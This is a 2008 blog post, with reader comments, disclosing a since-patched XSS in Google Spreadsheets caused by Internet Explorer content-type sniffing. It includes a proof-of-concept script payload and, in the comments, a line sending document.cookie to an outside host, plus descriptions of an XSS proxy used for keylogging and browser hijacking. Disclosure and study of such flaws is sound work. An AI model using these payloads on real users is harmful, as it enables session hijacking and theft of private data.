Monday, April 14th, 2008

Google XSS

Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…



By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.



So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…



This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…



In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.



I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “<HTML><body><script>alert(document.cookie)</script></body></HTML>”







I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.



CSV



When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.



XSS



To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.



I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…

Posted by xssniper | Filed in Security, Web Application Security


44 Responses to “Google XSS”

  1. April 14th, 2008 at 2:28 am

    Hans Nordhaug said:

    Very interesting (and scary) stuff, and I’ll read the article by Blake Frantz immediately. I have one suggestion that could have made this article even better for the curios, but lazy, of us – a description of the Google defense against the attack. I’ll of course go and test it myself now, but not everybody will.

  2. April 14th, 2008 at 2:39 am

    kuza55 said:

    That’s surprising since they fixed the issue on Gmail (by sending files as attachments), either the Gmail issue is a fluke or they don’t communicate security info between teams, which isn’t good…

  3. April 14th, 2008 at 10:10 am

    Kishor said:

    Interesting. When I was talking with .mario some time ago about alerts I saw in solutions for XSS in eXceSS (http://h4k.in/kishor/xssinexcess/solutions.txt), he told me about this behaviour of IE.

    At that time I tried it against gmail attachments, but there they had padding of first 256 blanks in the attachment. I don’t know why they forgot to do that in docs.

    Anyway, it was a good find.

  4. April 14th, 2008 at 10:17 am

    Webpromotie said:

    Great find! Ur famous now. Did Google pay u something for finding a big leak? They should…

  5. April 14th, 2008 at 10:32 am

    .:Computer Defense:. » Interesting Links said:

    [...] last, and probably most interesting, is a Google XSS that Billy Rios blogged about. The XSS takes advantage of the fact that certain browsers (IE was used, but it was mentioned that [...]

  6. April 14th, 2008 at 1:10 pm

    Jim Manico said:

    So you bailed on responsible disclosure because it was interesting?

  7. April 14th, 2008 at 1:46 pm

    nixdude said:

    You don’t have to just use lynx or other text based browser, it’s only XSS. So, delete private data upon leaving every website if you don’t already have an automatic option like stealth browsing. I do it out of habit, since you have to have the session cookies in your cache to get infiltrated just delete authentication cookies as soon as you are about to leave the websites where you use login credentials.

  8. April 14th, 2008 at 5:17 pm

    Gmail cookie stolen via Google Spreadsheets « IT Spot said:

    [...] researcher Bill Rios reported Monday that a cross-site scripting (XSS) attack against Google Spreadsheet could have exposed all of [...]

  9. April 14th, 2008 at 5:45 pm

    إمكانية سرقة الكوكيز لبريد قوقل عبر مستندات قوقل « KLadofoRA said:

    [...] مستندات قوقل في مدونة Bill Rios والذي قام بنشر [...]

  10. April 14th, 2008 at 7:34 pm

    ted said:

    Anyone could tell me a hyperlink to the paper written by Blake Frantz?

  11. April 14th, 2008 at 9:24 pm

    Mike Riversdale said:

    Top work … they now know and have stopped it?

  12. April 14th, 2008 at 11:56 pm

    xssniper said:

    @ Hans – Google used “padding” before the user controlled content. The padding prevents the browser from sniffing the content.

    @ Kuza55 – Agreed, content-disposition: attachment will stop this kind of attack cold in its tracks. Content-disposition will NOT help against flash crossdomain.xml or java applet attacks.

    @Kishor – The padding is a pretty solid defense against content-type sniffing. I need to look into whether it prevents crossdomain.xml and applet based attacks (insecure content ownership).

    @ Jim & Mike – I reported this issue to the Google Security Team and waited till they fixed it before talking about it on my blog. I’ve come across several XSS issues on major domains, but I usually don’t blog about them, even after they’ve been fixed.

    @ted – http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf

  13. April 15th, 2008 at 1:41 am

    إغلاق ثغرة خطيرة في غوغل أوفيس said:

    [...] إلى أن الخطأ كان كبيرا و اكتشف من قبل Billy Rios . عن طريق الخطأ كان من الممكن لأي شخص أن يسرق حسابك في [...]

  14. April 15th, 2008 at 3:34 am

    WhatsMyProblem? - Allround themenblog said:

    [...] E-Mails verschicken und alle Dateien aus Google Docs einsehen können. Die Sicherheitslücke in Google Spreadsheet ermöglichte eine Cross-Site-Scripting-Attacke, indem ein Opfer zum Öffnen einer manipulierten [...]

  15. April 15th, 2008 at 5:48 am

    Coqp.com Blog Web Technology news » Blog Archive » Gmail cookie stolen via Google Spreadsheets said:

    [...] researcher Bill Rios reported Monday that a cross-site scripting (XSS) attack against Google Spreadsheet could have exposed all of [...]

  16. April 15th, 2008 at 6:53 am

    Langy said:

    Good man!!!

    I have submit this news in Home of my portal
    http://www.googlebig.com/news.php?action=fullnews&id=321

  17. April 15th, 2008 at 9:42 am

    Pasini Mario said:

    Nice found.

  18. April 15th, 2008 at 12:40 pm

    » News, Trauer, Nüsse & Bier | seoFM - der erste deutsche PodCast für SEOs und Online-Marketer said:

    [...] Google mit krasser XSS Vulnerability – nur für die richtig Bösen unter euch [...]

  19. April 15th, 2008 at 3:15 pm

    Laine said:

    And how could you exploit this XSS?

    When the user clicks your link he just gets that alert…

    Is it even possible to steal cookie this way?

  20. April 15th, 2008 at 4:12 pm

    xssniper said:

    @ Laine – WOW… haha.. I control the ENTIRE HTML on the page if you can’t think of how this would be exploited, you need to catch up with the rest of the world… seriously… the post was a “Proof of Concept”…

    To be fair, I guess there are still lots of people out there that don’t understand the full impact of XSS yet. I guess I could have pointed it at my XSS Proxy (XS-Sniper) via a script src tag

  21. April 15th, 2008 at 4:25 pm

    Philipp Lenssen said:

    We reported on this in 2007 without disclosing details* and also alerted Google security — do you know when they fixed this?

    * http://blogoscoped.com/archive/2007-09-28-n28.html

  22. April 15th, 2008 at 4:30 pm

    xssniper said:

    @ Philipp – Not sure on the exact date, I orginally showed the Google Security team the Proof of Concept on 31 March 2008 and it was fixed by the time I had my first beer with members of the GST at RSA… (aka BEFORE I wrote about it in my blog)

  23. April 15th, 2008 at 4:52 pm

    Laine said:

    Do you mean something like:

    document.location=’http://www.xs-sniper.com.com/proxy.php?cookie=’+document.cookie

    ?

  24. April 15th, 2008 at 5:01 pm

    xssniper said:

    @ Laine – Why just steal the cookies when I can hijack the whole browser (and then steal the cookies)?

    <script src = “path-to-xssniper”></script> is the better way to go…

    if you’re confused, check out Anton Rager Shmoocon 2005 talk on XSS-Proxy. I’ve created my own XSS proxy (called XS-Sniper, which some people have seen at various security conferences), which is based off of Anton’s XSS-Proxy

    http://xss-proxy.sourceforge.net/shmoocon-XSS-Proxy.ppt

    And NO.. I won’t give you XS-Sniper…. and those that already have a copy probably won’t give it to you either :p

  25. April 15th, 2008 at 6:22 pm

    Laine said:

    The whole browser? Like a telnet session with DOM?

  26. April 15th, 2008 at 6:47 pm

    xssniper said:

    @ Laine – There are a lot of sweet things you can do. My favorite piece of functionality I built into XS-Sniper is SniperScope, which basically steals the HTML off of the victims browser and ferries it back to the XSS Proxy. It basically allows me to “shoulder surf” the XSSd victim. Keylogging is pretty sweet to, especially when XS-Sniper automatically decodes the keycodes as they come in. We actually used these two features on a pen-test (back in my consulting days) with great success…

    The proxy follows the victim to each page (in the same domain), so if they decide to navigate elsewhere, I don’t have to worry about losing my control channel :)

  27. April 16th, 2008 at 5:59 am

    Zero Day mobile edition said:

    [...] the content-type returned by spreadsheets.google.com and a caching flaw on the part of Google.  Here’s some details from Billy’s blog: I was able to pull off a full blown XSS against the google.com domain. For those of you who [...]

  28. April 16th, 2008 at 6:53 am

    Another Reason To Ditch IE. As If We Didn’t Have Enough Already. « Media Junkie said:

    [...] has now plugged the vulnerability, discovered by security researcher Billy Rios. In a blog posting, Rios explains a caching flaw by Google, alongside problems in how browsers handle content-type [...]

  29. April 16th, 2008 at 1:21 pm

    Laine said:

    Holy smokes, xssniper! It got me all excited. I dreamed about this night and I want to be as skillful as you are.

    How does the following happen?

    Do all the urls get rewritten in some smart manner?

  30. April 16th, 2008 at 2:08 pm

    xssniper said:

    @ Laine – Actually no, the call to the “script src” is actually a call to a dynamic javascript generated by the XSS-Proxy, which creates three iframes. One iframe for the victim to see and navigate on, the other two are invisible and act as a control channel and payload passing mechanism. No URL rewrites are necessary.

  31. April 16th, 2008 at 4:26 pm

    Laine said:

    Amazing. One more question, does this method hijack the whole browser, or just that domain?

  32. April 16th, 2008 at 6:24 pm

    Falha já corrigida no Google Apps permitia acesso a serviços do Google | Manoel Franklin said:

    [...] Devido à forma como o Google estrutura seus processos de autenticação, um único ataque XSS pode oferecer acesso a todos os serviços e documentos da empresa, diz Rios. “Só com este XSS, posso fazer tudo que quiser no Google como se fosse você”, explicou o pesquisador em um post. [...]

  33. April 17th, 2008 at 5:19 am

    Union Softwares - Blog » Falha já corrigida no Google Apps permitia acesso a serviços do Google said:

    [...] Devido à forma como o Google estrutura seus processos de autenticação, um único ataque XSS pode oferecer acesso a todos os serviços e documentos da empresa, diz Rios. “Só com este XSS, posso fazer tudo que quiser no Google como se fosse você”, explicou o pesquisador em um post. [...]

  34. April 17th, 2008 at 9:29 am

    xssniper said:

    @ Laine – Getting that first XSS to execute it in the browser is the toughest, once that XSS has executed, you’re not necessarily tied to that domain anymore. The “Pope” and I spoke about this at Blackhat Europe last year…

    Kicking Down the Cross Domain Door:

    http://www.blackhat.com/presentations/bh-europe-07/Dube-Rios/Whitepaper/bh-eu-07-rios-WP.pdf

  35. April 17th, 2008 at 4:31 pm

    Shadow Security Blog » Detectan agujero de seguridad en Google Apps said:

    [...] en Google Apps. El agujero de seguridad fue revelado por el experto en seguridad informática Billy Rios la [...]

  36. April 20th, 2008 at 3:56 am

    Malte Landwehr said:

    This is a good example why “the online office” is not an alternative to current office software. It is just not safe.

  37. April 20th, 2008 at 4:19 am

    Revue de presse said:

    [...] Après les menus, les aperçus, les champs de recherche, la bourse, les calculs, les citations, Google vous fait aussi les whois. Tapez “whois domaine.com” et ça marche (plutôt mal d’ailleurs). Intéressant de voir que Google veut, de plus en plus, remplacer les sites et afficher le contenu [Via SearchEngineLand] [...]

  38. April 29th, 2008 at 8:29 am

    Web 2.0 Ideenklau! Oder bin nur ich paranoid? | Blogmillionär said:

    [...] erst kürzlich hat Billy (BK) Rios eine Sicherheitslücke bei Google Spreadsheets entdeckt, durch die er sich in einen beliebigen Account einloggen konnte! Wenn man mal an Gmail [...]

  39. May 23rd, 2008 at 8:06 am

    Google Health « NonaTheNinja said:

    [...] several past vulnerabilities: ownership of content issues, Google Docs theft, a cross-domain hole, Google XSS, and a Google Picasa protocol handler issue leading to the theft of user images. He and fellow [...]

  40. September 3rd, 2008 at 1:31 pm

    Lostmon said:

    Thanks for sharing some of your knowledge !!!

  41. September 4th, 2008 at 3:28 am

    Murat ÇOLAk said:

    I find one xss too. and its on my page. www j2menedir com

  42. September 4th, 2008 at 10:10 am

    Murat ÇOLAK said:

    I find one xss look in http://www.j2menedir.com/google-xss.html

  43. October 15th, 2008 at 3:09 am

    GoogleBig » Blog Archive » XSS vulnerability found by Billy (BK) Rios in Google Spreadsheets said:

    [...] http://xs-sniper.com/blog/2008/04/14/google-xss/ Permalink Comments (0) Apr 11, [...]

  44. June 20th, 2009 at 7:32 am

    Sicherheitslücke in Spreadsheets « GoogleWatchBlog WP Test said:

    [...] » Posting in Rios Blog [...]



Please leave a Comment